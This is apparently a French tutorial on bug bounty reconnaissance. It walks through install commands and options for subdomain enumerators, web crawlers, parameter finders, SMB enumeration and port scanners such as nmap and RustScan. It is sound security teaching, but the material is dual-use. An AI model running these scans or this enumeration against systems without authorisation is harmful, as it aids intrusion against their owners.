BugBountySearchEngine est un moteur de recherche qui regroupe plusieurs moyens de rechercher des vulnérabilitées et des informations sensibles sur des domaines. Il offre des options pour trouver des fichiers de configuration ou de sauvegarde, des bases de données exposées, des sous-domaines et bien d’autres. On peut aussi y rechercher des données spécifiques sur des des sources publiques comme Github, Shodan, Censys et d’autres.

L’outil est disponible ici.

Pour l’utiliser, entrez un domaine cible dans l’interface. Sélectionnez ensuite l’une des recherches prédéfinies en fonction des types d’informations que vous souhaitez obtenir.

Github Recon

Le Github Recon est une technique utilisée pour rechercher des informations sur des projets, des organisations ou même des individus en explorant les dépôts sur Gihub. Elle consiste à analyser l’historique des commits, surveiller les activités dans le but de découvrir des informations sensibles. Vous pouvez aussi utiliser les Github Dorks pour affiner les recherches. Il est parfois possible que les développeurs oublient ou laissent des informations sensibles comme des clé APIs, des mots de passe par défaut et d’autres.

Dans la barre de recherhce, il suffit d’inscrire les dorks ou les requêtes souhaitées. Il faut ensuite examiner les codes, les commits et les branches afin d’y recueillir des informations qui pourraient être utiles.

Censys

Censys est un moteur de recherche et une plateforme qui contient des données provenant de diverses sources sur les infrastructure connectées à Internet. Il dispose de données en temps-réel et retourne les informations sur des appareils, services ou des domaines. Il peut donc être très utile dans un processus de collecte d’informations sur une cible.

Censys permet de collecter des informations comme les adresses IP, les services et les ports ouverts. Avec les filtres avancés , on peut affiner les résultats selon les labels (hôtes IPV6, accès à distance, email etc.), les systèmes autonomes (AS), la localisation des serveurs, les fournisseurs de logiciels (Amazon, Akamai, Google, Apache, nginx)

En faisant une recherche sur Google, on peut voir qu’on a accès a beaucoup d’informations, et le résultat de la recherche retourne beaucoup d’hôtes qui pourraient être analysées.

En choisissant un hôte, on a d’autres informations comme le routage, les services , la localisation, l’historique des évènements associés et aussi un onglet Whois qui fournit des détails sur le propriétaire de l’adresse IP.

Enum4Linux

Enum4linux est un outil d'énumération pour extraire des données de systèmes utilisant le protocole SMB (Server Message Block). Il permet de recueillir divers informations à propos des comptes utilisateurs, des noms de domaines, les groupes locaux les dossiers partagés sur un réseau.

Options

• enum4linux -U -S -P -G [ip_adress]

  • l’option -U permet de lister les utilisateurs sur le système cible

  • l’option -S permet de lister les partages disponibles sur le système cible

  • l’option -P pour afficher la politique des mots de passe

  • l’option -G liste les groupes du système

  • l’option -a combine toutes les options (-U -S -G -P -r -o -n -i). C’est l’option par défaut lorsqu’aucune n’est sélectionnée.

En exécutant la commande avec l’option -U, l’outil présente une liste d’utilisateur sur une machine 192.168.2.96

Enum4linux peut être très utile car les informations comme les utilsateurs, les partages de fichiers sur le réseau, ou encore les groupes et permissions. Ces informations peuvent être exploitées pour identifier de potentielles vulnérabilités.

WaybackURL

WaybackURL est un service qui permet d’accéder à des versions anciennes ou archivées de site web en utilisant l’Internet Archive, un service d'archivage de pages web. Il sert à consulter des anciennes versions de site web, et même si elles ont été modifiées, elle peuvent toutefois contenir des vulnérabilités qui n’ont peut être pas été corrigées ou toujours accessibles via ces archives

La documentation officielle se retrouve sur GitHub.

Pour installer WaybackURL, utilisez la commande suivante:

go install github.com/tomnomnom/waybackurls@latest

Options

• waybackurls-h : l’option -h permet de lister toutes les options de waybackurls

• waybackurls https://site.com -dates | grep [word]

  • l’option -dates affiche la date d’archivage de chaque URL

  • grep filtre les résultats pour ne montrer que les URL contenant le terme “word“

• cat domains.txt | waybackurls | grep -vE "\.(js|txt)$" > urls.txt

  • Cette commande lit le fichier domains.txt et redirige la sortie vers waybackurls. Les résultats sont stockés à la fin dans le fichier urls.txt

  • l’option -vE exclut les lignes correspondant à l’expression (-v) et active les expressions régulières étendues (-E).

  • l’expression ".\(js|txt)$" correspond aux expressions régulières qui correspond aux URLs se terminant par .js ou .txt.

  • Cette commande va donc lister les URL archivées, en excluant celles qui se terminent par .js ou .txt .

• echo "https://hackerone.com" | waybackurls -no-subs

  • l’option -no-subs exclut les sous-domaines du domaine cible dans les résultats

  • Cette commande affichera toutes les URLs archivées de hackerone.com

Gowitness

Gowitness est un outil utilisé pour effectuer des captures d’écran de sites web, collecter des informations sur les en-têtes HTTP et créer des rapports sur les sites visités de manière automatisée.

Cet outil, même s'il peut sembler "inutile" parce qu'on pourrait simplement visiter les pages web, est en fait très pratique lorsqu'on a plusieurs sites à vérifier sans perdre un temps fou à les ouvrir un par un.

Pour l’installer, utilisez la commande suivante:

go install github.com/sensepost/gowitness@latest

Options

• gowitness -h : cette option liste toutes les options de gowitness

• gowitness scan -h : montre les options disponibles pour effecturer des scans.

• gowitness scan single --url https://google.com --screenshot-path ./PATH--screenshot-format png --screenshot-fullpage

  • l’option --url indique à l’outil d’effectuer la capture sur l’URL spécifié

  • l’option --screenshot-path définit le chemin où la capture d'écran sera sauvegardée.

  • l’option --screenshot-format définit le format de la capture d’écran. Par défaut elle est en format JPEG. Et seuls les formats JPEG et PNG sont valides.

  • l’option --screenshot-fullpage capture la page entière, plutôt que seulement la partie visible de la page. Elle est utile pour les pages avec beaucoup de contenu en défilement

• gowitness scan file -f ./PATH --log-scan-errors --write-db

  • l’option file -f spécifie un fichier contenant une liste d’URLs à afficher

  • l’option --log-scan-errors signale les erreurs survenues lors des scans.

  • l’option --write-db enregistre les résultats dans une base de données pour une consultation ultérieure.

La photo ci-dessous montre l’exécution d’une commande avec gowitness. Des messages indiquent une tentative échoué via le port 80 pour les connexions non sécurisées en HTTP. Par contre, la connexion a réussi via le port 443 pour les connexions HTTPS, avec les captures d’écran prises

Cet outil te permet donc de visualiser plein de sites super rapidement.

Arjun

Arjun est un outil qui permet de découvrir des paramètres HTTP cachés dans les requêtes GET et POST qui pourraient être vulnérables dans des applications web. Il permet d’identifer des points d'entrée potentiels pour des attaques en testant plusieurs paramètres possibles. Pour information, les requêtes GET et POST sont des méthodes pour envoyer des données à un serveur web. Le méthode GET consiste à envoyer les données via l’URL ; c’est-à-dire qu’elles apparaissent dans la barre d’adresse du navigateur. La méthode POST consiste à envoyer les données dans le corps de la requête HTTP, ce qui les rend invisibles dans l'URL. L’outil Arjun permet donc de chercher ces paramètres dans les applications.

La documentation officielle se retrouve sur GitHub.

Pour installer Arjun, utilisez la commande suivante:

pipx install arjun

Options

• arjun-h : cette option affiche toutes les options de l’outil

• arjun -u http://website.com -m POST -o output.json -oB

  • l’option -u permet de spécifier le site à analyser

  • l’option -o enregistre les données dans un fichier

  • l’option -m permet de définir la méthode HTTP à utiliser pour la requête. Les formats valides sont GET ou POST pour la méthode HTTP et JSON ou XML pour le corps de la requête.

  • l’option -oB redirige le trafic via Burp Suite pour l'analyse. Par défaut, Burp écoute sur 127.0.0.1:8080. Cela va donc permettre de visualiser les requêtes et les réponses interceptées par Burp.

• arjun -i urls.txt -w /PATH/TO/FILE --include “token=qwerty“

  • l’option -i spécifie un fichier avec une liste d’URLs à analyser

    • l’option -w permet permet de spécifier une fichier contenant une liste de mots. Cette liste contient des noms de paramètres potentiels qu'Arjun utilisera pour tester l'URL cible. Par défaut, l’outil utilise une liste de mots intégrée située à {arjundir}/db/large.txt

  • l’option -inlcude permet d’insérer des données pour chaque requête. La variable token avec une certaine valeur dans le cas d’applications nécéssitant des jetons d’authentifications. On pourrait inlure tout type de données comme des clé APIs, des clé d’authentification et autres.

  • On peut aussi mettre les options -m XML --include='<?xml><root>$arjun$</root>' qui incluent une structure XML spécifique dans la requête. Le marqueur $arjun$ est l'endroit où l’outil va insérer les paramètres qu'il teste.

• arjun -u http://website.com -c 10

Interprétation des résultats

L’image ci-dessus montre la commande arjun -u http://testphp.vulnweb.com/listproducts.php -oB -o output.json exécuté.

On voit que la commande a identifié les paramètres artist et cat dans le corps la réponse.

Pour que l’option -oB fonctionne, il faut que Burp soit ouvert et configuré pour intercepter les requêtes. Vous pouvez ouvrir un terminal et lancer Burp avec la commande burpsuite. Allez dans les paramètres du Proxy et vérifiez que l’adresse du proxy sur Burp est bien configuré sur 127.0.0.1:8080. Activez ensuite l’interception.

On voit donc deux paramètres de requête “cat=111110“ et “artist=11111“ et d’autres détails comme l’hôte, le logiciel client etc.

Recherche de Sous-domaines

La recherche de sous-domaines permet d’identifier les parties d’un domaine qui pourraient être vulnérables, et donc des points d’entrée pour des services mal configurés. Le fait de découvrir les sous-domaines permet donc recueillir des informations sur les technologies et configurations utilisées.

Crt.sh

Crt.sh est un outil en ligne qui permet de rechercher et de consulter des certificats SSL/TLS pour divers domaines. Il peut aussi bien être utilisé pour trouver des sous-domaines. En recherchant un domaine principal, on peut voir les certificats associés, mais aussi ceux émis pour ses sous-domaines. Les recherches peuvent donc se poursuivre avec ces sous-domaines avec d’autres outils.

Virus Total

VirusTotal est un outil en ligne qui permet d’analyser des fichiers, des URLs afin de détecter de potentiels virus. Il effectue une analyse complète en utilisant plusieurs moteurs antivirus et outils de détections d’URLs. Il peut aussi être utilisé pour rechercher des sous-domaines et d’autres informations.

Les sous-domaines associés à la recherche seront listés dans l’onglet Relations. La photo ci-dessous montre une liste de sous domaines associés à Amazon.ca.

Chaos projectdiscovery

Chaos est un projet de ProjectDiscovery qui fournit des informations sur les sous-domaines. Il dispose d’une base données avec un grand nombre de sous-domaines pour les domaines publics, mis à jour régulièrement.

Il suffit donc de télécharger le fichier .zip et on obtient une liste de sous-domaines associés au terme ou au domaine dans la recherche.

Chaos ProjectDiscovery est un projet open-source et peut être aussi utilisé via GitHub. L’utilisation de cet outil avec l’API en ligne de commande est beaucoup plus flexible et puissante en terme de recherches. En utilisant l’outil en ligne de commande, on obtient une liste plus complète, contrairement à la version web où l’utilisation peut ne retourner aucun résultat pour certains domaines

Pour l’installer, utilisez la commande suivante:

go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Options

• chaos -h : cette option liste toutes les options de Chaos ProjectDiscovery

• export PDCP_API_KEY=[API_ KEY]

  • cette option permet de spécifier la clé API qui peut être obtenue simplement en s’inscrivant sur le site

  • la clé API doit être spécifiée obligatoirement pour l’utilisation en ligne de commande

• chaos -d [site.com] -count -o list.txt

  • l’option -d spécifie le domaine à analyser

  • l’option -count affiche le nombre de sous-domaines sans les lister

  • l’option -o spécifie un fichier (ici list.txt) pour stocker la sortie

• chaos -dL [list_domains.txt] -json | grep [STRING] > list.txt

  • l’option -dL spécifie un fichier contenant une liste de domaines à analyser

  • l’option -json affiche la sortie en format JSON

  • l’option grep filtre les résultats de la recherche selon le string défini et les enregistre dans le fichier list.txt

Subfinder

Subfinder est outil d’énumération de sous-domaines écrit en langage Go, développé par ProjectDiscovery. Il est utilisé pour effectuer une énumération passive des sous-domaines d’un domaine cible, c’est-à-dire, qu'il utilise des sources en ligne publiques pour identifier les sous-domaines sans interagir directement avec les serveurs cibles. Il utilise des sources comme Censys, Chaos, Recon.dev, Shodan, Spyse, Virustotal etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Subfinder, utilisez la commande suivante:

go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Options

• subfinder -h : l’option -h permet de lister toutes les options de subfinder

• subfinder -ls: l'option -ls permet de lister toutes les sources de données possibles

• subfinder -d [site.com] -all -json -cs -o [list.txt]

  • l’option -d spécifie le domaine à analyser

  • l’option -all permet d’utiliser toutes les sources pour l’énumération.

  • l’option -json affiche la sortie en format JSON

  • l’option -cs permet d’afficher la source dans le résultat de la commande

  • l’option -o enregistre les résultats dans un fichier

Ici, on analyse le domaine hackerone.com en affichant les sources de chaque sous-domaine avec l’option -cs, et en excluant les sources du serveur google 8.8.8.8 avec l’option -es.

• subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]

  • l’option -dL spécifie un fichier contenant une liste de domaines à analyser

  • l’option -s spécifie les sources à utiliser lors de la recherche

  • l’option -es exclut les sources lors de la recherche

  • l’option -rl détermine le nombre de requêtes https par secondes. Cela limite et évite la surcharge

• subfinder -d hackerone.com --active -oI

  • l’option --active ou -nW vérifie les sous-domaines en temps réel. Elle vérifie si les sous-domaines sont actifs et répondent aux requêtes, sinon, ils ne sont pas listées.

  • l’option -oI ou -ip permet d’inclure les adresses IP des sous-domaines dans le résultat. Cette option ne s’utilise qu’en combinaison avec l’option --active ou -nW

Assetfinder

Assetfinder est aussi un outil développé en langage Go, utilisé pour énumérer des sous-domaines associé à un domaine principal. Il utilise des sources comme, certspotter, hackertarget, facebook, virustotal etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Assetfinder, utilisez la commande suivante:

go install github.com/tomnomnom/assetfinder

Options

• assetfinder -h : l’option -h permet de lister toutes les options de assetfinder

• assetfinder -subs-only [SITE.COM] > list.txt

  • l’option -subs-only limite la sortie aux sous-domaines du domaine cible. Cette option est la seule disponible pour assetfinder.

Amass

Amass est un outil développé par l'OWASP (Open Web Application Security Project) qui est aussi utilisé pour l’identification de sous-domaines et des adresses IP associées en utilisant des sources publiques commes des APIs, des certificats SSL, des DNS etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Amass, utilisez la commande suivante:

go install -v github.com/owasp-amass/amass/v4/...@master

Options

• amass enum : ce mode est utilisé pour l’énumération des sous-domaines en utilisant des sources publiques et des techniques de reconnaissance active.

• amass intel: ce mode est utilisé pour découvrir des domaines et d'autres actifs qui peuvent être explorés plus en détail lors du processus d'énumération

• amass enum -d website.com -active -brute -aw /PATH -bl “word“

  • l’option -d spécifie le domaine dont on veut énumérer les sous-domaines

  • l’option -active permet de rechercher les sous-domaines actifs

    • l’option -aw permet de spécifier un fichier de liste de mots qui sera utilisé pour les altérations des noms des sous-domaines. Cela permet de modifier dynamiquement les sous-domaines en ajoutant des termes dans les noms des sous-domaines non visibles dans les résultats de DNS standards.

  • l’option -bl permet de spécifier des domaines à exclure de la recherche

L’image ci-dessous montre la commande amass utilisée, qui a découvert plusieurs informations dont des enregistrements MX, A, AAAA et plusieurs autres sous-domaines. On y retrouve aussi des informations ASN de CloudFlare, qui gère probablement les adresses IP de ces sous-domaines là.

Sublist3r

Sublist3r est un outil d’énumération de sous domaines en utilisant des moteurs de recherche et d'autres sources en ligne. Il intègre l’outil Subbrute, un outil de brute force pour l'énumération de sous-domaines, afin d'augmenter la capacité de trouver plus de sous-domaines. Subbrute utilise une liste de mots améliorée pour tester de manière systématique des sous-domaines potentiels.

La documentation officielle se retrouve sur GitHub.

Pour installer Sublist3r, utilisez la commande suivante:

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt

Options

• python sublist3r.py -h : l’option -h permet de lister toutes les options de sublist3r

• python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt

  • l’option -d permet de spécifier le domaine cible

  • l’option -b active le mode brute force pour découvrir les sous-domaines

  • l’option -p spécifie les ports à tester pour vérifier si un sous-domaine est actif sur ces ports.

  • l’option -o enregistre les résultats dans un fichier

• python sublist3r.py -e google,virustotal -v -d [site.com]

  • l’option -e permet de spécifier le moteur de recherche à utiliser

  • l’option -v active le mode verbeux, ce qui permet d'afficher plus de détails pendant l'exécution du script et les sous-domaines en temps réel.

La commande ci-dessous exécutée, enumère les sous-domaines de google.com et active le mode verbeux, ce qui permet d’afficher les sous-domaines en temps réel.

La commande recherche les sous-domaines sur plusieurs sources dont Baidu, Yahoo,Google,Bing, SSL Certificates etc.

OneForAll

OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à partir de sources publiques que d’autres outils n’interrogent pas généralement. OneForAll règle le problème de puissance ou encore d’efficacité qu’on peut voir avec d’autres outils.

La documentation officielle se retrouve sur GitHub.

Pour installer OneForAll, utilisez les commandes suivantes:

Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.

python -V
pip3 -V

Clonez le dépôt du projet.

git clone https://github.com/shmilylty/OneForAll.git

Créez un environnement virtuel pour séparer l’installation de votre environnement python.

virtualenv -p python3 .venv
source .venv/bin/activate

Installez les dépendances

cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt

Options

• python3 oneforall.py -h : cette option permet de lister toutes les options de OneForAll

• python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run

  • l’option --target permet de spécifier l’URL ou le domaine à analyser

  • l’option --brute permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée

  • l’option --dns permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.

  • l’option --valid permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.

• python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run

  • l’option --targets permet de spécifier une liste de domaines contenue dans un fichier

  • l’option --takeover permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover, comme l’outil subzy détaillé un peu avant). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.

  • l’option --path spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.

  • Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier .csv qui répertorie les résultats, dans le dossier /results

    

Interprétation des résultats

Les résultats de la commande OneForAll sur https://hackerone.com montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module CertInfo a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site dnsgrep.cn a été refusé (statut403) et d’autres informations.

Les serveurs a.ns.hackerone.com et b.ns.hackerone.com ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.

Les sous-domaines trouvés seront répertoriés dans le dossier /results par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:

column -s, -t < hackerone.com.csv | less -#2 -N -S

• L’option -s, (-s suivi de la virgule) spécifie que la virgule ( , ) est le délimiteur qui sépare les colonnes dans le fichier.

• L’option -t indique à column de créer un tableau avec des colonnes alignées

• < hackerone.com.csv permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column

• less -#2 -N -S permet de paginer la sortie avec less, affiche les numéros de ligne avec -N, permet un défilement horizontal avec -S, et définit l'espacement des tabulations à 2 avec -#2. Vous pouvez quitter l’affichage avec la touche q .

Le fichier avec les résultats avec un affiche standard se présente comme suit:

On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande column -s, -t < hackerone.com.csv | less -#2 -N -S .

Linked Discovery

Le linked Discovery est un processus qui consiste à explorer et à extraire des liens et des ressources d’un site web pour obtenir des informations sur une cible. Il permet d’identifier la structure des pages et les relations entre elles pour mieux comprendre comment un site est construit. On peut aussi y ressortir les sous-domaines et d’autres ressources cachées ou moins visibles.

Katana

Katana est un outil d’exploration de sites web, écrit en Go, dévéloppé par Project Discovery. Il permet aussi d’analyser des sites web, d’y extraire des ressources cachées et identifer des vulnérabilitées potentielles.

La documentation officielle se retrouve sur GitHub.

Pour installer Katana, utilisez la commande suivante:

go install github.com/projectdiscovery/katana/cmd/katana@latest

Options

• katana -h : cette option liste toutes les options de katana

• katana -u [https://site.com] -d [INT] -e "STRING" -rl [INT] -o [results.json]

  • l’option -u définit le site ou l’URL à analyser

  • l’option -d définit la profondeur d’exploration à partir du lien spécifié

  • l’option -e exclut divers éléments correspondants à la chaîne de caractère spécifiée. Cela peut être des chemins, des adresses IP, des sous-domaines etc.

  • l’option -rl fixe un nombre maximal de requêtes par secondes (150 par défaut)

• cat file.txt | katana -jc -noi

  • cat permet de lire un fichier qui contient une liste d’URLs (une par ligne) à explorer

  • l’option -jc active l’analyse des fichiers JavaScript, ce qui permet d'extraire des liens et des ressources depuis les fichiers JavaScript du site.

  • l’option -noi pour no incognito désactive le mode incognito, ce qui permet de conserver l'historique de navigation pendant l'exploration.

• Toute la documentation et les options sont disponibles sur Github.

La photo ci-dessous montre une exécution de l’outil. Elle explorera le site http://youtube.com, à une profondeur de 3, exclura les chemins contenant /login, active l’analyse des fichiers JavaScript, et enregistrera les résultats dans un fichier.

On voit donc que des liens et fichiers JavaScript sont bien extraits.

GoSpider

GoSpider est un outil de reconnaissance écrit en langage Go, pour crawler ou extraire des données d’un site Web. Un crawler ou robot d’exploration est un programme ou un script automatisé destiné à collecter des informations sur des sites internet. GoSpider peut être utilisé lors de la reconnaissance pour identifier des liens, des ressources, des fichiers en lien avec un site spécifique.

La documentation officielle se retrouve sur GitHub.

Pour installer GoSpider, utilisez la commande suivante:

go get -u github.com/jaeles-project/gospider

Options

• gospider -h : l’option -h permet de voir la liste de toute les options de GoSpider

• gospider -s [site.com/URL] -c [INT] -o [resultat.txt/.json]

  • l’option -s spécifie l’URL ou le site à analyser;

  • l’option -c définit le nombre maximal de requêtes simultanées lors de l’exploration du site (par défaut, il est fixé à 5);

  • l’option -o enregistre les résultats dans un fichier;

• gospider -S [sites] -q --blacklist [ ] -d [INT]

  • l’option -S spécifie une fichier texte contenant les URLS de sites à analyser;

  • l’option -q rend l’analyse plus concise et désactive les logs détaillés;

  • l’option --blacklist permet d’exclure (blacklister) soit des extensions, des types de fichiers lors de l’analyse.

  • l’option -d définit la profondeur de lien à explorer lors du crawl. Cela signique qu’il explore d’abord l’URL initiale, ensuite les liens trouvés sur cette page, et ensuite les liens sur ces pages, et ainsi de suite. Il est fixé à 1 par défaut.

En parcourant la liste des options, vous aurez accès aux différentes manières d’utiliser GoSpider.

Hakrawler

Hakrawler est aussi un outil de reconnaissance utilisé pour explorer des sites web et extraire des informations comme des liens, des formulaires et des emplacements de fichiers . Aussi écrit en langage Go, il est utilisé lors de la phase de reconnaissance lors des tests de sécurité.
La documentation officielle est disponible sur GitHub.

Pour installer Hakrawler, utilisez la commande suivante:

go get -u github.com/hakluke/hakrawler

Options

• hakrawler -h : cette option affiche toutes les options de hackrawler

• echo [URL] | hakrawler -t [INT] -d [INT] -t [INT] | grep "STRING"

  • la commande echo envoie l’URL en tant qu’entrée à Hakrawler via le pipe |

  • l’option -t pour threads, définit le nombre de requêtes simultanées pour accélerer l’exploration. Cela permet de crawler plusieurs pages à la fois

  • l’option -d définit la profondeur du crawl

  • l’option -t fixe le délai dattente pour chaque requête. Passé ce délai, la requête d’exploration est abandonnée si elle ne recoit aucune réponse

  • l’option grep filtre les résultats du hakrawler selon le string défini

• cat sites.txt | hakrawler -subs -json

  • le contenu du fichier “sites.txt” est lu (une URL par ligne) et redirigé à Hakrawler via le symbole pipe |

  • l’option -subs indique qu’il faut analyser aussi les sous-domaines liés à chaque url dans le fichier

  • l’option -json retourne les résultats en format JSON

La photo ci-dessous montre une exécution de l’outil. La commande explore le site avec une profondeur d'exploration de 2 niveaux, incluant les sous-domaines et affiche les résultats en format JSON

Scan

Le scan d’un réseau ou d’une application permet d’identifier des vulnérabilités sur les services ou des applications qui s’exécutent. C’est une étape assez cruciale qui permet de détecter des failles de sécurité potentielles. Plusieurs outils de scan peuvent être utilisés dans ce cas.

Il existe plusieurs type de scans:

• le scan de ports permet d’identifier des ports ouverts sur un système. Ces ports peuvent donc indiquer des services actifs qui peuvent être exploitées. Nmap est l’outil le plus connu utiliser pour ce type de scan. Il existe aussi Naabu ou encore Rustscan.

• le scan web permet d’explorer les applications web dans le but de détecter des failles commes les injections SQL, les failles XSS, CSRF et d'autres vulnérabilités spécifiques aux applications web. Des outils comme Nikto, Burp Suite peuvent être utilisés pour ce type de scan

• le scan réseau permet d’analyser l’ensemble d’un réseau dans le but d’identifier les appareils connectés, les services et aussi les configurations réseau pouvant être vulnérables

• le scan de vulnérabilités permet de rechercher des failles de sécurité qui sont connues dans les systèmes. Ils sont généralement utilisés dans le cadre d’audit de sécurité et fournissent des rapports détaillés. Des outils comme Nessus, Qualys peuvent être utilisés dans ce cas. Ces deux outils sont payants, mais disposent aussi de plans limités qui sont gratuits. Nikto peut aussi être utilisé.

Naabu

Naabu est un scanner de ports devéloppé par Project Discorvery et écrit en lagange Go, pour identifier les services ouverts sur une machine ou un réseau. Il est connu pour être plus rapides, avec beaucoup d’options, comme le fait de pouvoir exclure des ports, scanner toute une liste de ports ou encore le combiner avec Nmap pour avoir des résultats plus détaillés. Vous pouvez l’installer directement via Github.

Installez d’abord Go sur votre machine avec la commande suivante:

sudo apt install golang-go

Installez ensuite l’outil Naabu

go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest

Options

• naabu -h : l’option -h permet de lister toutes les options de Naabu

• naabu -host [DOMAIN/IP] -exclude-ports [PORT,PORT] -json

  • l’option -host définit le domaine ou l’adresse IP à scanner

  • l’option -p permet de scanner un port spécifique

  • l’option -exclude-ports permet d’exclure des ports lors du scan

  • l’option -json permet d’avoir les résultats en format JSON

• naabu -list [domains.txt] -o [output.json]

  • L’option -list ou -l effectue un scan avec un fichier contenant une liste de domaines ou d’adresses IP

  • l’option -o pour sauvegarder les résultats dans un fichier

• naabu -host [DOMAIN/IP] -p [PORTS] -nmap-cli 'nmap -sV -Pn'

  • L’option -nmap-cli permet d’exécuter la commande nmap directement sur les résultats obtenus. Nmap doit être déjà installé pour que ca fonctionne.

  • Cette commande exécute Naabu pour scanner les ports spécifiés sur le domaine puis lance le service nmap sur chaque port.

Il est aussi possible de combiner Naabu avec ASNmap avec la commande suivante:

asnmap -a ASXXXX -silent | naabu -p 22,80 -silent

Cette commande va d’abord récupérer les plages d’adresses IP associées à l’ASN en mode silent et ensuite scanner les ports 22 et 80 avec Naabu. Si vous n’êtes pas familier avec ASNMAP, vous pouvez lire un article à ce sujet ici.

Rustscan

RustScan est aussi un scanner de ports, écrit en langage Rust, beaucoup plus rapide et capable d’intégrer des outils comme Nmap pour des analyses plus détaillées. RustScan redirige directement ses résultats vers Nmap pour d’autres anlayses. Il est aussi possible de les modifier à votre guise.

Vous pouvez accéder au dépôt depuis la biliothèque officiel sur Github.

Téléchargement sur Kali Linux

Téléchargez le fichier d’installation depuis le terminal. Il existe plusieurs versions de Rustscan.

wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb

Allez vers le dossier Downloads et modifiez les permissions du fichier installé en le rendant exécutable.

cd Downloads
sudo chmod +x rustscan_2.0.1_amd64.deb

Installez le package Debian

sudo dpkg -i rustscan_2.0.1_amd64.deb

En cas de problèmes, exécutez la commande suivante:

sudo apt update
sudo apt upgrade

Si vous rencontrez des problèmes de dépendances, exécutez la commande suivante :

sudo apt-get install -f

RustScan devrait être maintenant installé .

Options

• rustscan -a [DOMAINE/IP] -p [PORT,PORT] -b -g

  • l’option -a spécifie l’adresse ou le domine cible

  • l’option -p permet de spécifier un ou plusieurs ports

  • l’option -b permet de limiter la bande passante et éviter de surcharger le réseau pendant le scan.

  • l’option -g simplifie l’analyse qui n'affiche que les ports ouverts détectés, sans les détails de Nmap

• rustscan -a [DOMAINE/IP] -- -sV --script vuln

  • l’option -- termine les arguments de RustScan. Tous les argument suivants sont directement passés à Nmap

  • l’option -sV de Nmap pour active la détection des services et leurs versions sur les ports ouverts

  • l’option --script vuln détecte les vulnérabilités sur les services

Ici on scanne les ports 22,80 et 445 de l’adresse 192.168.2.96. Le double-tiret indique les options sont passées à Nmap, avec l’option -sV, pour détecter la version des services.

Nmap

Nmap est un outil de scan qui permet aussi d’analyser un réseau ou une application web pour identifier des vulnérabilités potentielles. Il est utilisé pour scanner les ports et identifier les services actifs.

La documentation officielle de ffuf se retrouve sur le site officiel.

Pour installer nmap , utilisez la commande suivante:

sudo apt install nmap

Options

• nmap -h : l’option -h permet de lister toutes les options de nmap

• nmap -sn 192.168.1.0/24

  • Cette commande exécute un scan de découverte réseau aussi appelé ping scan. Elle scanne toute les adresses dans la plage 192.168.1.1 à 192.168.1.254.

  • L’option -sn indique à nmap de ne pas effectuer de scan de ports, mais vérifie simplement les hôtes actifs sur le réseau

• nmap -sS -sV -O --script vuln [IP_ADRESS]

  • l’option -sS effectue un scan SYN rapide et discret. Il n’établit pas de connexion complète avec la cible,ce qui rend l’analyse moins visible par des sytèmes de détection par exemple.

  • l’option -sV permet de détecter les versions des services en cours sur les ports ouverts sur la machine

  • l’option -O permet de déterminer le système d’exploitation de la cible

  • l’option --script vuln exécute des scripts qui permettent de détecter les vulnérabilités connues sur la cible.

• nmap -T4 -sC -p 80,21 [IP_ADRESS]

  • l’option -T4 permet de définir le niveau d'agressivité du scan et va de -T0 à T5. Cela permet de définir la vitesse d’exécution du scan, ce qui peut la rendre plus rapide, mais aussi détectable par des systèmes de d'étection

  • l’option -sC exécute les scripts par défaut de nmap via le Nmap Scripting Engine (NSE) pour la détection de versions et la recherche de vulnérabilités.

  • l’option -p spécifie les ports à scanner

Voici un document qui détaille toutes les options de nmap : Nmap-Cheat-Sheet.pdf

nmap -T4 -sC -sV 10.192.160.244

La commande suivante utilise l’outil nmap pour une analyse sur l’adresse 10.192.160.244. On voit donc que 4 ports TCP ont été trouvés ainsi que des services ssh, dnsmasq et http.

Brute Force sur les sous-domaines

Le brute-force de sous-domaines est une méthode utilisée pour découvrir des sous-domaines associés à un domaine principal. Elle consiste à essayer une liste de mots pour évaluer des sous-domaines potentiels afin de vérifier leur réel existence. Ces sous-domaines peuvent parfois révéler des services, des applications vulnérables. Nous décrirons quelques outils utilisés pour cette technique.

Ffuf

Fast fuzzer (ffuf) est un outil outil open-source de fuzzing et de force brute, écrit en langage Go, utilisé pour découvrir des ressources web telles que des fichiers, des répertoires, et des sous-domaines. Le fuzzing est une méthode qui consiste à envoyer des données aléatoires, mal formées ou anormales à un système pour tester ses réponses, ce qui pourrait conduire à la découverte de vulnérabilités.

